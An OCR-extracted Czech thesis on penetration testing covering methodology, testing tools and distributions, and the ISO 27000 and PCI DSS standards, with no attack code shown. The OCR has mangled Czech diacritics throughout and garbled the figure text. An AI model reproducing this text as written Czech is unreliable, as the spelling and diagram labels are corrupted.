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ABSTRAKT

Tato prace je zaméfena na penetraCni testy a odhalovani zranitelnosti sitovych prvki. Teo-
retickd Cast zahrnuje rozbor této problematiky a popis obecné metodologie. Prace poskytuje
zékladni prehled poZzadavkd mezindrodnich norem ISO 27000 a PCI DSS. V dalsi &asti je
predstaven software pro odhalovan{ zranitelnosti Nessus a distribuce Kali Linux.

Prakticka ¢ast prace zahrnuje nékolik cili. Prvnim je porovnani péti skenerii zranitelnosti ve vy-
tvorené testovaci siti. Zvolenymi ndastroji jsou Nessus, OpenVAS, Retina Community, Nexpose
Community a GFI LanGuard. Nasledné je v této siti proveden penetracni test s vyuzitim na-
stroji dostupnych v Kali Linux. Postup zneuziti dvou vybranych zranitelnosti je vytvoren jako
laboratorni tloha.

Poslednim praktickym cilem je testovani odolnosti webového serveru viiéi zaplavovym Gtokdm
SYN flood a UDP flood a pomalému Gtoku Slowloris. Pro zaplavové Gtoky byly vytvoreny
skripty v jazyce Python.

KLICOVA SLOVA

Penetraéni testy, odhalovani zranitelnosti, eticky hacking, 1SO 27000, PCl DSS, Nessus, Kali
Linux, OpenVAS, Nexpose, Retina, GFl LanGuard, Metasploit, DoS, SYN flood, UDP flood,
Slowloris.

ABSTRACT

This thesis is dealing with penetration tests and network device vulnerability assessment. Theo-
retical part includes analysis of this issue and description of general methodology of performing
penetration tests. Thesis provides basic overview of requirements of international norms ISO
27000 and PCI DSS. In another part the software for Nessus vulnerability scanning and Linux
Kali distrubution is introduced.

Practical part of thesis includes several aims. The first is a comparsion of five vulnerability
scanners in a created test network. Chosen tools for this purpose are Nessus, OpenVAS, Retina
Community, Nexpose Community and GFI LanGuard. Network scan is performed with each
of these tools.

Penetration test using the tools available in Kali Linux is then executed in this network.
Procedure of exploiting two selected vulnerabilities is created as a laboratory exercise.

The last aim of thesis is testing the web server protection against flood attacks SYN flood,
UDP flood and slow attack Slowloris. Scripts for flooding were written in Python language.
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UVOD

Bezpec¢nost pocitacu, siti a informacnich systému je bezesporu dulezitym tématem. Nedo-
stateéné zabezpeceni téchto systému nebo Spatné nastavend pristupova politika umoznuje
pripadnému ttoc¢nikovi neopravnény pristup a miize vést ke zneuziti. Tim mize byt napti-
klad odcizeni citlivych firemnich a osobnich dat nebo znepfistupnéni urcité sluzby, ktera
povede k finanénim ztratdm. Motivace tito¢nika byjva riiznd. Casto se jednd o finanéni zisk,
skodolibost nebo chut zdoldvat vyzvy. Vyhodnocovat troven zabezpeceni pocitacové sité
a systému je mozné pomoci penetracnich testu, které spocivaji v simulaci moznych utoku
na systém zevnitt i zvenci. Vysledky testi by pak mély vést k pripadnym napraviam bez-
pecnostnich nedostatkl. V souvislosti s penetracnim testovanim hovorime o tzv. etickém
hackingu, kde neni i¢elem nikomu uskodit. Ukolem etického hackera je najit v testovaném
systému zranitelnost a posoudit, jak by je dokazal neptitel zneuzit.

Prvni kapitola této priace obsahuje teorii etického hackingu a penetracnich testt. Po-
pisuje typy testii, metodologii a uvadi nékolik moznych nastroji pro testovani. Druha
kapitola poskytuje strué¢ny prehled pozadavkiu standarda ISO 27000 a PCI DSS, které
se zabyvaji oblasti bezpecnosti informaci. Tret{ kapitola se vénuje skeneru zranitelnosti
Nessus. Strucné je popsano pouziti tohoto nastroje. Déle je popsana linuxova distribuce
Kali, ktera je hojné pouzivana pro ucely penetrac¢niho testovani.

Jednim z praktickych cilii této prace je porovnani péti nastroju pro odhalovani zranitel-
nosti ve vytvorené laboratorni siti. Ve virtualni siti jsou provedeny testy pomoci nastroju
Nessus, OpenVAS, Retina Community, Nexpose Community a GFI Lan Guard. Na zavér
jsou diskutovany vysledky testt a porovnani jednotlivych néstroju.

V dalsi praktické ¢asti je realizace ukazkového penetra¢niho testu v mirné rozsirené
laboratorni siti. Zde uz jsou pouzivany pouze néastroje obsazené v Kali Linux a Nessus.

V sesté kapitole je vypracovana laboratorni tloha, jejiz naplni je zneuziti dvou z od-
halenych zranitelnosti v laboratorni siti. Pro realizaci ttoku je vyuzit nastroj Metasploit
framework.

Cilem posledniho praktického tikolu je testovani odolnosti webového serveru vici za-
plavovym a pomalym DoS utoktm. Ze zaplavovych ttokd byly zvoleny SYN flood a UDP
flood. Z pomalych ttokt byl vybran Slowloris. Pro generovani ttoki je zde vyuzit fyzicky
server. Testuje se odezva webového serveru Apache. Pro vykonani zdplavovych ttoku jsou

vytvoreny vlastni skripty vytvorené v jazyce Python.
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1 PENETRACNI TESTOVANI

Informace v této kapitole vychazeji prevazné ze zdroju [3, 5, 26, 27].

Jak jiz bylo napsdno v tvodu, cilem penetracniho testovani je ovéfeni tirovné zabez-
peceni aplikace, systému nebo sité. Nékdy se pouzivd zkraceny vyraz pen-test. Provadi
se testovanim, hleddnim slabého mista, a nasledné pokusy proniknout do infrastruktury
a pokud mozno ziskat co nejvyssi opravnéni. Nakonec zbyva interpretace pripadnych ne-
dostatkt. Testovano by mélo byt vSe, u ¢eho hrozi riziko nezddouciho priniku do systému,
odcizeni dat nebo zpiisobeni finan¢ni skody. Nejcastéji po ttoku vznikaji skody typu:

o nedostupnost sluzby — sluzba neni schopna obsluhovat legitimni uzivatele (DoS,

DDosS ttoky),

o neopravnény pristup ttoc¢nika k systému (pocitac, server, databaze), kde muze ¢ist

¢i modifikovat data, ménit konfigurace,

o ziskani duvérnych informaci — ziskani prihlasovacich tdaju, adres, informaci o finan-

cich apod.

V ramci této prace bude zminovana firemni sif, ve skute¢nosti se muze jednat o jakou-

koliv soukromou sit (tfad, organizace, domécnost apod.).

1.1 Hledani slabych mist

Anglicky pojem wvulnerability assessment lze prelozit jako vyhodnocovani zranitelnosti.
V ceskych zdrojich se pouzivaji pojmy odhalovani zranitelnosti a hledani slabych mist.
Odhalovani zranitelnosti neni synonymum pro penetracni testovani. Jedna se ,pouze“
o hledani bezpecnostnich chyb a informaci v cilovém systému. Tento proces je soucasti
penetracniho testovani. Pokud jsou nalezena néjaka slabd mista, muze se naskytnout moz-
nost pro napadeni systému. Dnesni néstroje pro odhalovani zranitelnosti pracuji po zadani
vstupnich Udaji a provedenim pozadovaného nastaveni vétSinou automaticky. Vycet ty-
pickych ¢innosti téchto nastroju:

e prochazeni otevienych portu a sluzeb v celém bloku IP adres,

o zjisténi typu operac¢niho systému a aplikaci, jejich verze, nainstalované zaplaty,

o zjisténi nastaveni, zabezpeceni, autentizace aplikaci nebo sluzeb,

o nékteré dovedou i nizkoturovnové hadani hesel hrubou silou,

¢ poskytnuti informaci o mozném feseni problému.

Vysledky testt odhaluji zédkladni bezpecnostni nedostatky systému a na testujici osobé
spociva tkol vyhodnotit, které problémy predstavuji riziko v kontextu testovaného pro-
stfedi. Muze se stat, ze nebezpecéné chyby, oznacené automatickym softwarem, nemusi
v daném prostfedi predstavovat vazné redlné riziko. Naopak maléd detekovana chyba mize

vést k vétsimu utoku.
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1.2 Typy testu

Testy je mozné délit podle rtiznych hledisek. Obecné se penetracéni testy Casto déli na ex-
terni a interni.

Externi testy — jsou provadény z vnéjsi strany testované sité a predstavuji vnéjsi hrozby
(napf. utok hackera z internetu).

Interni testy — jsou provadény z vnitini strany testované sité, které napodobuji poten-
cionalniho ttocénika, ktery ziskal néjakym zplsobem pristup do vnitini sité, nebo také

neloajalniho zaméstnance.

Podle arovné znalosti o systému.

Black-box testy — na testovany systém se pohlizi jako na tzv. ¢ernou skiinku, kde jsou
znamy pouze jeho vstupy a potencionalni vystupy. Neni zndma vnitini struktura systému.
Tato metoda je typicka pro hackery, ktef{ maji jen béznou vefejnou informaci (napf. do-
ménové jméno serveru), kterou podrobuje dalsimu pruzkumu.

White-box testy — na rozdil od black-box testt jsou k dispozici vsechny mozné znalosti
o systému. V pripadé pocitacové sité, je to napiiklad topologie sité, pritomné zafizeni,
ruzné pristupové udaje, nastaveni prvku atd. V pripadé testovani aplikaci se analyzuji
zdrojové kody a hledaji se v ném chyby. Detailni informace o systému mohou umoznit
odhaleni pripadnych nedostatka v kratsi dobé a celkové komplexnéjsi analyzu systému.
Grey-box testy — kombinace predchozich dvou typu testi. Tester ma pouze zdkladni
znalosti o systému, které se snazi maximalné vyuzit. Samotny test vSak probiha z hlediska

potencionalniho utoc¢nika nebo v pripadé testovani aplikace z hlediska uzivatele.

Podle zptisobu provedeni.

Manualni testy — tester je vykondvd manualné, umoznuje vytvorit testy na miru pro spe-
cifické podminky. Nevyhodou je, ze jsou potieba rozsahlé znalosti testované oblasti a do-
vednosti vytvorit testovaci proceduru. Dalsi nevyhodou je ¢asova naro¢nost.
Automatizované testy — nastroje pro automatické testovani vytvareji profesionalové
v oboru a testerovi se sta¢i naucit s nastrojem pracovat a porozumét interpretaci vy-
sledki. Vyhodou je rychlost aplikace testu, nevyhodou muze byt nemoznost otestovat
nékteré typy zranitelnych mist.

Semiautomatizované testy — kombinace automatickych a manudlnich testi, snazici se

vyuzit vyhody obou zpisobil.

Existuje také metoda testovani, ktera se nazyva red teaming ¢i red team testing.
Ta nabizi zakaznikovi co nejsirsi a detailni pohled na bezpecnost informaci. Ukolem je najit
co nejvice cest do systému. To zahrnuje kromé samotného penetracniho testovani napiiklad

kontrolu fyzické bezpecnosti, testovani IDS/IPS! nebo praktiky socidlniho inzenjrstvi.

1Systém pro odhaleni primniku, ktery monitoruje sitovy provoz a snazi se odhalit neobvyklé aktivity
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1.3 Metodologie testovani

Zde budou popsany obecné metodiky pro penetracni testovani. Predstavime pét zakladnich
fazi testovaci procedury, jejichz posloupnost je znazornéna na obrazku 1.1. Nékteré zdroje

uvadéji vice ¢i méné fazi, ale prakticky zustava struktura test vzdy stejna.

------------------- Dodatecny cil -
' Objevovani Zneusiti
Planovani =~ o
Sber | Ochalovani|7|  CYP
informaci | “zranitelnosti| | (€xploitace)

Repot |-

Obr. 1.1: Pracovni postup penetra¢niho testovani (prekresleno z [3])

1.3.1 Planovani

V této zacatecni fazi je potfeba projednat a stanovit vSechny organizacni zalezitosti. Pri-
prava a podepsani bezpecné smlouvy, sestaveni tymu a vytvoreni ¢asového planu.

Urc¢uji se detailni cile, na které budou zaméreny penetracni testy. Cile penetracniho
testovani mohou byt vymezeny naptiklad jen na webové aplikace, bezdratové sité, databaze
apod. Dulezité je vymezit prioritni cile, jelikoz neni vzdy mozné odhalit vSechna zranitelna
mista. Zéalezi na pridélenych prostfedcich (finance, persondl, ¢as), schopnostech testera, a
proto je potfeba se primarné zamérit na mista a chyby, které predstavuji pro firmu nejvétsi

riziko.

1.3.2 Sbér informaci

V dalsi fazi nastava zjistovani co nejvice informaci o cilové siti. Pouzivaji se pojmy jako
information gathering nebo data mining. Ziskané informace se pouziji jako vstup k dalsi
fazi testovani. Nejcastéji se jednd o zakladni informace jako rozsahy IP adres, jmenné
servery, kontaktni osoby, oteviené porty, siftové sluzby a jejich verze, operac¢ni systémy
sffovych prvkia. Takové informace je mozné ziskat kombinaci zdrojt jako whois a nastrojiu

ur¢enych pro skenovani porti. Dalsi technikou v této fazi muze byt testovani pravidel
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firewallu. K témto tceliim jsou dostupné automatizované néastroje, coz je popsano déle

v této praci.

1.3.3 Odhalovani zranitelnosti

Po ziskani informaci z predchozi faze nastavd odhalovani zranitelnosti. Za otevienymi
porty se skryvaji néjaké sitové sluzby a opera¢ni systémy, na kterych bézi, a ty mohou
predstavovat riziko. Pfi hledani chyb dojde k porovnavani jednotlivych verzi sitovych slu-
zeb a operacnich systému s databazi znamych chyb. Také probihaji kontroly urcitych chyb-
nych konfiguraci (misconfigurations). Vysledkem je seznam stanic ¢i sluzeb, které obsahuji
zranitelnosti nebo predstavuji riziko. Nejcastéji se pro tento ucel pouzivaji specializované
nastroje, které pracuji automaticky. Mnohé tyto nastroje zahrnuji i fazi sbéru dat.

Na tuto a predchozi fazi lze obecné pohlizet stale jako na objevovani (discovery).

1.3.4 Zneuziti chyb (exploitace)

Tato faze je samotné zneuzivani nalezenych zranitelnosti, tj. pokusy o prolomeni bezpec-
nostnich mechanizmii. Exploitace je postavena na vyuzivani nedostatki a chyb v aplikacich
a systémech. Casem se miize objevit problém a neprolomitelny mechanizmus nemusi byt
neprolomitelny navzdy. Pro nejriznéjsi siftové sluzby existuje fada exploitu.

Po tspésné exploitaci jedné sluzby se muze otevriit cesta k dalsi sluzbé, ktera byla pred
tim nepristupnd. Pak je tfeba se vratit ke sbéru dat a hledani zranitelnosti pro novy cil

(viz obrazek 1.1). Tento cyklus se opakuje pro vSechny sluzby, které jsou v zdjmu testovani.

1.3.5 Report

Konecna faze zahrnuje shrnuti a predani vysledkt penetracnich testti. Cilem je prezentovat
zékaznikovi kvalitni zavérecnou zpravu, ktera povede ke zlepseni bezpecnosti firmy. Jedna-
li se o testovani firemni sité, vysledky by mély byt prezentovany a prodiskutovany s IT

oddélenim a vedenim firmy.

1.3.6 Metodiky a certifikace

Podle vlastniho prizkumu neni nikde definovano, jak presné postupovat a jakych nastroju
pouzivat pii penetraénim testovani. Casto se ovSem sklonuje nekomeréni metodika Open
Source Security Testing Methodology Manual (OSSTMM) institutu ISECOM [23]. Tento
dokument o 211 stranach neni pfimo nidvodem pro penetra¢ni testovani, ale tyka se obecné
testovani zaméstnanci, fyzické bezpecnosti, bezpecnosti bezdratovych, telekomunikac¢nich
a datovych siti. V dokumentu se uvadi, ze je manudl prizptsobitelny témér vSsem typtm
auditu jako penetracni testy, analyzy bezpecnosti, odhalovani zranitelnosti, red-teaming
atd. Jsou zde popsany jednotlivé kroky a cile testovani, avsak neni zde definovino pomoci
jakych nastroju a jejich nastaveni pouzivat. V soucasné dobé je volné k dispozici OSSTMM

verze 3 z roku 2010, pro omezenou komunitu lidi je vSak dostupna verze OSSTMM 4 Draft.
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Nékteré firmy na ceském trhu, které se zabyvaji penetra¢nim testovanim na svych
strankach uvadi, ze pouzivaji metodiky vychazejici z OSSTMM. Jsou jimi naptiklad AEC
DATA SECURITY, Trustica, Nethemba. Ze zahrani¢nich vyjmenujme napfriklad némeckou
firmu Binsec.

V ¢lanku na webu Ciscopress [11] jsou zminény tyto standardy:

e Open Source Security Testing Methodology Manual (OSSTMM),

o Information Systems Security Assessment Framework (ISSAF),

e NIST 800-115 — Technical Guide to Information Security Testing and Assessment

(rok 2008),
e Open Web Application Security Project (OWASP).

Za zminku stoji také stranky projektu Penetration Testing Execution Standard a zejména
rozsahld sekce PTES Technical Guidelines, kde jsou popsany praktické postupy testovani
vCetné nastroju a jejich pouziti — viz http://www.pentest-standard. org. Privodce vSak

momentalné neni iplné dokoncéeny, dopliuje se prubézné.

Pro vykonavani penetra¢niho testovani existuji i mezinarodni kurzy a certifikace, na-
priklad:
o Certified Ethical Hacker (CEH),
Licensed Penetration Tester (LPT),
Certified Information Systems Security Professional (CISSP),
OSSTMM Professional Security Tester (OPST).

1.4 Nastroje pro testovani

Pro penetracni testovani se vyuziva Siroka skéla specializovanych néstroju. Nékteré na-
stroje jsou komercni, ale vétsina je zdarma, protoze jsou casto vyvijeny hackerskymi ko-
munitami a sdileny na internetu [6]. Existuje také fada operacnich systému zamétenych
na bezpecnostni testovani. Typickym prikladem jsou rtzné distribuce Linuxu, které obsa-
huji sirokou skalu ovérenych nastroju riznych vyvojara, vyvinutych tfeba i pro jeden tcel.
Zde jsou nékteré distribuce uvedeny:

o Kali (http://www.kali.org) (viz kapitola 4),

e BackBox (http://www.backbox.org),

e Blackbuntu (http://www.blackbuntu.com),

e Pentoo (http://pentoo.ch),

e CAINE (http://www.caine-live.net),

e Fedora Security Lab (https://spins.fedoraproject.org/cs/security),

e Matriux (http://www.matriux.com),

e NodeZero (http://www.nodezero-linux.org),

« WEAKERTHA4N (http://weaknetlabs.com).
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Tyto systémy jsou zdarma (licence GPL). V textu nésleduje nékolik néstroju z ruznych

kategorii.

Nastroje specializované na vyhledavani zranitelnosti:
o Nessus (http://www.tenable.com) (viz kapitola 3),
e Nexpose (http://www.rapid7.com/products/nexpose) ,
o OpenVAS (http://www.openvas.org) (kapitola 4.3),
e Retina (http://go.beyondtrust.com/),
e Core Impact Pro (http://www.coresecurity.com/),
e GFI LanGuard (http://www.gfi.com/),
o Unified Security Management (USM) (https://www.alienvault.com/),

e Tripwire SecureScan (http://www.tripwire.com/).

Nastroje specializované na zneuzivani mnoha zranitelnosti:
e Metasploit (http://www.metasploit.com),
e Core Impact Pro (http://www.coresecurity.com/),
e Immunity CANVAS (http://www.immunityinc.com/).

Néstroje specializované na testovani webovych aplikaci:
e« OWASP WTE (https://www.owasp.org),
¢ Acunetix (www.acunetix.com),
e Samurai web testing framework (http://samurai.inguardians.com),

o« w3af (http://w3af.org).

Rtzné zaméteni:

e OSWA-Assistant (http://securitystartshere.org/) — testovani bezdratovych
siti,

e CISOfy Lynis (https://cisofy.com/lynis/) — nastroj pro lokalni testovani za-
bezpeceni systémii zalozenych na UNIXu. Vyskytuje se i v Kali Linux,

e Microsoft Baseline Security Analyzer (http://www.microsoft.com/) — kont-
roluje zabezpeceni, aktualizace a doporucend nastaveni produktu spole¢nosti Micro-
soft.

Mnohé tyto nastroje jsou k dispozici zdarma, nebo alespon v néjaké verzi pro neko-
mercni Ucely. Vyjimkou jsou zde Immunity CANVAS, Core Impact Pro a Unified Security
Management. Ptrehled nastroju vychézi ze zdroju [1, 34, 25] a vyhledédvani na internetu

pomoci kli¢ovych slov.
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2 POZADAVKY ISO 27000 A PCI DSS

2.1 ISO 27000

ISO (International Organization for Standardization) vydava v sérii ISO 27000 normy,
které se tykaji oblasti bezpecnosti informaci. Konkrétné se zabyvaji obecnou metodo-
logii systému Fi{zeni bezpecnosti informaci (Information Security Management Systems —
ISMS). Smyslem zavedeni ISMS je zachovani duvérnosti, integrity a dostupnosti informaci.
Zainteresované strany pak maji urcité zaruky, ze jsou rizika primeérené rizena. Rodina stan-
darda ISMS poskytuje pokyny, jak v organizaci vytvorit strukturu pro rizeni bezpecnosti
informaci zahrnujici napiiklad informace o financich, zakaznicich, zaméstnancich nebo du-
vérnych firemnich informacich. Od 1.1.2015 je v CR v platnosti zdkon o kybernetické
bezpecnosti [38] a soulad se standardy z rodiny ISO 27000 je moznym Fesenim pro firmy,
kterych se zakon tyka [19, 28].

Jednotlivé dokumenty norem nejsou siteny zdarma. Zakoupit je lze z vice zdroji, ofi-
cidlnim je vSak www.iso.org. Tyto normy byly preloZeny do ¢estiny a prijaty i jako CSN
ISO/TEC 27000.

Na obrazku 2.1 je zobrazeno, jaké normy rodina ISMS standardua obsahuje a jak jsou

rozdéleny. Nésleduje struény popis vybranych norem vychazejici z [9].

‘Vocabulary 27000
standard Qverview and vocabulary

. 27006
Requirement 27001 . " P " __—
standards Information securily management systems - Requirements Raqu"emams T{Jf mfi'a_s Provlﬁlr!g Sl Femh_camn of
information securily management systems
27002 TR 27008
Code of practice for information security contrals ISMS Controls Audit Guidelines
2
= 27003 27013
& Information security management system implementation Guidance on the integrated implemeniation of ISOIEC 27001
b guidance and ISQNEC 20000-1
‘6 4 "
= Guideline 27004 27014
E standards Information security management — Measurement Govemance of infarmation security
(I
g 27005 TR 27016
W Information security risk management Information security management — Organizational economics
27007
Guigelines for information security management systems
auditing
27010 TR 27015
Information security management guidelines for inter- Information security management guidelines for financial
Seclor- sector and inter-organizational communications services
specific
guideline
standards 27011 TS 27017
Infarmation security management guidelines far Guidelings. on information securily controls for the use of
telecommunications organizations based on 1SO/ claud computing services based on ISO/IEC 27002
|EC 27002

Conlrol-specific 2703 ‘ 2T04x
guideling standards I T
T T

Obr. 2.1: Standardy rodiny ISMS [9]
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2.1.1 Vybrané normy

ISO/IEC 27000

Information technology - Security techniques - Information security management systems
- Overview and vocabulary

Popisuje zakladni principy systémi fizen{ informacni bezpecnosti. Obsahuje prehled rodiny
standardi, ivod do ISMS, definice pojmu a terminologicky slovnik. Tento dokument je
zdarma ke stazeni, odkaz uveden v literatute [9].

ISO/IEC 27001

Information technology - Security techniques - Information security management systems
- Requirements

Nejaktualnéjsi je druhd edice z roku 2013 [10].

Specifikuje pozadavky na ustaveni, implementovani, udrzovani a neustélé zlepsovani
systému ISMS v souvislosti obchodnimi riziky organizace. Zahrnuje také pozadavky na po-
souzeni a osetfeni rizik bezpecnosti informaci, prizptisobené potrebdm organizace. Norma
je vhodné pro vSechny organizace, bez ohledu na typ, velikost a charakter. Kontrolni cile
a ovladaci prvky jsou uvedeny v priloze. Tomuto standardu se vice vénuje podkapitola 2.2.
ISO/IEC 27002
Information technology — Security techniques — Code of practice for information security
controls
Norma obsahuje soubor postupt pro konkrétni pozadavky normy ISO 27001.

ISO 27032

Information technology — Security techniques — Guidelines for cybersecurity

Norma z roku 2012 se zabyva oblasti kybernetické bezpecnosti. Zaméreno na oblasti in-
formacni bezpecnosti, sitové bezpec¢nosti, internetové bezpecnosti a ochranu kritické infor-
macni infrastruktury.

ISO 27033

Information technology — Security techniques — Network security

Soubor norem specializovanych na bezpeénost siti. Normy nahrazuji ISO/IEC 18028 a
vydéavaji se po ¢astech [8, 19].

o ISO/IEC 27033-1:2009 — Norma poskytuje zékladni pirehled a definici pojmu v sou-
vislosti s bezpecnosti siti. Déle se tu nachéazi prehled ostatnich ¢asti normy ISO
27033.

o ISO/IEC 27033-2:2012 — Pruvodce pro navrh, implementaci a dokumentaci bezpeéné
sftové architektury.

o ISO/IEC 27033-3:2010 — Popisuje hrozby, techniky ndvrhu a kontrolni mechanizmy
pro ruzné vzorové sitové scénére.

o ISO/IEC 27033-4:2014 — Zabyva se zabezpecenim komunikace mezi sitémi s vyuzitim
bezpec¢nostnich bran, firewalla, IPS systému apod.

o ISO/IEC 27033-5:2013 — Tato norma je priuvodcem pro vytvoreni a provozovani

zabezpecenych spojeni s vyuzitim virtudlni privatni sité (VPN).
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2.2 1ISO 27001

Hlavni norma pro ISMS, kterd obsahuje pozadavky. Informace jsou ¢erpany primo z do-

kumentu normy [10]. Obecné informace uz byly uvedeny v podkapitole 2.1.1. Pokud chce

organizace dosdhnout shody s timto standardem, musi splnovat vSechny pozadavky kapi-

tol 4 az 10. Néasleduje stru¢ny popis obsahu této normy v sedmi hlavnich bodech, které v

dokumentu predstavuji kapitoly.

4.

10.

Kontext organizace popisuje nékolik zalezitosti, které je potreba na ivod stanovit.
Tento bod obsahuje pokyny pro porozumeéni organizaci a jejimu kontextu, potfebam,
ocCekavanim zainteresovanych stran a stanoveni rozsahu ISMS.

Vudéi role definuje obecné zavazky pro vrcholové vedeni organizace. Dale popisuje,
jakou politiku bezpec¢nosti informaci musi vedeni stanovit a jaké role, odpovédnosti
a pravomoci priradit.

Planovani. Musi byt definovan a aplikovan proces na posuzovani a osSetieni rizik
bezpecnosti informaci. V tomto bodé se odkazuje do prilohy dokumentu, kde je
seznam uplnych cili jednotlivych opatreni.

Podpora ve strucnosti definuje, Ze organizace musi urcit a zajistit zdroje pro za-
vedeni, provozovani a zlepsovani ISMS. Urcit nezbytné kompetence pro osoby a za-
jistit jejich dostate¢né povédomi vzhledem k ISMS. Musi urc¢it pravidla pro interni
a externi komunikaci (kdo, s kym, o ¢em, atd.). Déle jsou zde pozadavky na doku-
mentovani informaci (napf. uchovavani, distribuce, pfistup, likvidace).
Provozovani popisuje povinnost organizace planovat, implementovat a fidit pro-
cesy ke splnéni pozadavku bezpecnosti informaci. Odkazuje se zde na implementaci
cili uvedenych v 6. kapitole — Planovani. Organizace musi udrzovat dokumentaci,
aby méla prehled, ze procesy byly provadény podle planu. Nachdazeji se zde pokyny
ohledné pldnovanych i nedmyslnych zmén. Rizika bezpec¢nosti informaci musi byt
posuzovany pravidelné nebo nastanou-li vyznamné zmeény.

Hodnoceni vykonnosti ma probihat pomoci monitorovani, méreni analyzy a hod-
noceni. Organizace musi v planovanych intervalech provadét interni audit ISMS.
Predchozi opatieni tohoto bodu musi pravidelné prezkoumdvat i vrcholové vedeni
organizace.

Zlepsovani obsahuje pokyny jak postupovat, pokud nastane neshoda — feseni pri-
¢in a nasledki. Dalsim bodem je nutnost neustale zlepsovat vhodnost, efektivnost

a primérenost ISMS.

Priloha normy obsahuje tabulku, kde se nachazi seznam kontrolnich cili a stru¢ny po-

pis jejich opatfeni. Presnéjsi postupy a popisy jsou uvedeny v kapitolach 5 az 18 normy
ISO 27002 a musi byt pouzity v kontextu kapitoly 6 normy ISO 27001. Celkem je tabulka

rozdélena do 18 kapitol a nékolika podkapitol, z nichz kazda obsahuje nékolik cili a opat-

feni. P¥iloha normy popisuje tyto oblasti (kapitoly):
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e politiky bezpec¢nosti informaci,

e organizace bezpecnosti informaci,

e bezpecnost lidskych zdroju,

e Tizeni aktiv,

e Tizeni pristupu,

e kryptografie,

o fyzicka bezpecnost a bezpecnost prostiedi,
e bezpecnost provozu,

e bezpecnost telekomunikaci

o akvizice, vyvoj a udrzba systému,

¢ dodavatelské vztahy,

e Tizeni incidentd bezpec¢nosti informaci,

e aspekty Tizeni kontinuity ¢innosti organizace z hlediska bezp. informaci,

o soulad s pozadavky.

Napriklad kapitola 12 mimo jiné definuje pozadavky na ochranu informaci proti mal-
waru, ochranu proti ztraté dat zdlohovanim, omezen{ instalace softwaru uzivatelim a nut-
nost zaznamendavani udalosti pomoci logovani. V tomto bodé také norma fikd, ze musi
byt véas ziskavany informace o technickych zranitelnostech provozovanych informacnich
systémil. Musi byt vyhodnoceno ohrozeni organizace témito zranitelnostmi, a pripadné

prijato prislusné opatifeni na zvladnuti rizik.

2.3 Standard PCI DSS

Payment Card Industry Data Security Standard (PCI DSS) znamend v piekladu standard
bezpecnosti dat v odvétvi platebnich karet. Vznikl z divodu podpory a posileni bezpecnosti
dat drziteli karet a k usnadnéni globalniho prijeti jednotnych opatfeni k bezpecnosti
dat. Dokument PCI DSS poskytuje zdkladni technické a operac¢ni pozadavky vytvorené
k ochrané dat drzitela karet. PCI DSS se vztahuje na vSechny slozky, které zpracovavaji,
prenaseji data drzitelu karet (obchodnici, zpracovatelé, zpracovatelské banky, apod.). PCI
DSS pokryva minimalni pozadavky na ochranu dat drziteli karet a mohou byt doplnény
dodatecnymi kontrolami a postupy pro dalsi snizeni rizika. Posuzovani shody se standardy
PCI DSS provadi spole¢nosti schvalené PCI Security Standards Council.

Tento dokument lze volné ziskat na strankach PCI Security Standards Council [24].
Z tohoto dokumentu jsou ¢erpany informace v této kapitole. Posledni verze 3.0 byla vydana
v listopadu 2013.

Déle bude uveden piehled 12 pozadavkt PCI DSS. V dokumentu jsou tyto pozadavky
detailné rozepsany v rozsahu 88 stran. Kazdy pozadavek je dale délen do nékolika dal-
sich pozadavkt, ktery jej detailnéji specifikuje. Ke kazdému tomuto dilé¢imu pozadavku je
uveden postup, jak by mél byt ovéren, a také strucny teoreticky popis. Zde bude vypsan

pouze strucny nastin, o co se v daném pozadavku priblizné jedna.

22



2.3.1 Pozadavky PCI DSS

Bezpecnostni pozadavky PCI DSS plati pro vSechny systémové komponenty (vSechny sou-
Casti sité), jenz jsou zahrnuty v prostfedi dat drziteli karet. Prostfedi dat drziteli karet
zahrnuje osoby, procesy a technologie, které uchovavaji, zpracovavaji, prenaseji data drzi-
telu karet nebo citliva ovérovaci data.

PCI DSS doporucuje segmentaci sité. To znamena izolovani prostiedi dat drzitel karet
od zbytku sité subjektu. Tato metoda muze napriklad zjednodusit kontroly, omezit rozsah

hodnoceni PCI DSS a s tim spojené finanéni naklady.

Vybudovani a udrzovani bezpecné sité

Pozadavek 1: Instalovat a udrzovat konfiguraci firewallid k ochrané dat drzitel karet.

Popisuje detailni pozadavky na umisténi a konfigurace firewallu v siti.

Pozadavek 2: Nepouzivat vychozi nastaveni od dodavatele jako systémova hesla a jiné
bezpecnostni parametry.

Pozadavek definuje mnoho konkrétnich doporuceni jako ménit vychozi systémova hesla,
odstranit nepouzivané uzivatelské icty, pouzivat silné autentizacni a Sifrovaci mechanismy,

aktivovat nezbytné a dostatecné zabezpecené sluzby apod.

Ochrana dat drzitelu karet

Pozadavek 3: Chranit uchoviavana data drziteli karet.
Zde jsou uvedeny konkrétni pravidla pro nakladani s daty drziteli karet. Popsdny jsou
metody ochrany jako napiiklad Sifrovani, zkraceni, maskovani a transformace dat (ha-

shing).

Pozadavek 4: Zasifrovat prenosy dat drzitelt karet skrz oteviené verejné sité.

Pozadavky na konfiguraci technologii pouzivanych béhem prenosu pfes oteviené ve-
fejné sité tak, aby nemohla byt data odcizena. Patfi sem napriklad uzivani odolné kryp-
tografie a bezpeénych protokolu (SSL/TLS, IPSec, SSH, apod.).

Udrzovani programu pro Fizeni zranitelnosti

Pozadavek 5: Chranit vSechny systémy proti malware a pravidelné aktualizovat antivi-
rovy software.
Antivirové programy by mély byt stdle aktivni, provadét pravidelné kontroly a gene-

rovat logovaci soubory. Bézny uzivatel by nemél mit prava je vypnout.

Pozadavek 6: Rozvijet a udrzovat bezpecné systémy a aplikace.
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Zde se mimo jiné pojednava o nutnosti hleddni bezpecnostnich zranitelnosti pomoci
vhodného software. Pozadavek také obsahuje doporuceni pro vyvoj softwarovych aplikaci

odolnych vici zndAmym hrozbam.

Zavedeni prisnych opatfeni pro kontrolu pristupt

Pozadavek 7: Nastavit ptistup jen k takovym datim drzitelt karet, které piislusna osoba
nejnutnéji potrebuje k vykonu prace.
Systém pro fizeni piistupu by mél mit vychozi nastaveni — zakazat vSe ,deny all“

a povolovat pouze vyjimky.

Pozadavek 8: Identifikovany a ovéfeny pristupu k systémovym komponentam.
Pozadavek uvadi doporucend pravidla pro identifikaci uzivateli a techniky autentizace

k systémiim ¢i do sité.

Pozadavek 9: Omezit fyzicky pristup k datim drzitela karet.
Pozadavky se tykaji stiezeni fyzického pristupu k systémim a médiim, kterd ukladaji

data drzitela karet.

Pravidelné monitorovani a testovani siti

Pozadavek 10: Sledovat a monitorovat vSechny piistupy k sifovym zdrojum a datim
drziteltu karet.
